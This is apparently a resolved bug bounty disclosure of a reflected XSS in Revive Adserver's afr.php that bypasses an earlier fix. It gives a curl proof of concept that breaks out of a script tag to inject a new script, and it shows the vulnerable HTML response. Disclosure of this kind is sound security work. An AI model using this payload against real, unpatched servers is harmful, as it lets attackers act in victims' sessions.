Reflected XSS on /www/delivery/afr.php (bypass of report #775693)
Medium
R
Revive Adserver
Submitted None
Actions:
Reported by
axfla
Vulnerability Details
Technical details and impact analysis
It is possible to bypass the first fix of this XSS by closing the script tag, and then opening a new one. cURL PoC is trivial :
`curl "https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>"`
The response will be :
```
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<title>Advertisement</title>
<script type='text/javascript'><!--// <![CDATA[
setTimeout('window.location.replace("https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>&loc=")', 10000000);
// ]]> --></script><noscript><meta http-equiv='refresh' content='10000;url=https://revive-instance/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>&loc='></noscript>
<style type='text/css'>
body {margin:0; height:100%; background-color:transparent; width:100%; text-align:center;}
</style>
</head>
<body>
</body>
</html>
## Impact
An attacker can perform arbitrary actions on behalf of the victim.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-site Scripting (XSS) - Reflected